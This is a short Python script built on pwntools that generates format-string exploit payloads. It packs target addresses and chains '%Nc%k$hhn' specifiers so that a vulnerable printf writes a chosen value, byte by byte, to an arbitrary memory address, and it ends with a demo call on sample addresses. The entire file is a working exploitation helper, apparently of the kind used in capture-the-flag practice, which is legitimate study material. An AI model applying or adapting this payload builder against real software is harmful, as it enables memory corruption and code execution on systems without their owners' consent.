from pwn import *

def fmt(prev, word, index):
    fmtstr = ""
    if prev < word:
        result = word - prev
        fmtstr += "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word -prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr.encode('utf-8')

def fmt_str(offset, size, addr, target):
    # offset : offset of first fmtsrt_addr 
    # size   : 4 or others
    # addr   : addr where will write
    # target : content of writing
    
    payload = b""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

if __name__ == '__main__':
    print(fmt_str(7, 4, 0x7f1234, 0x561278))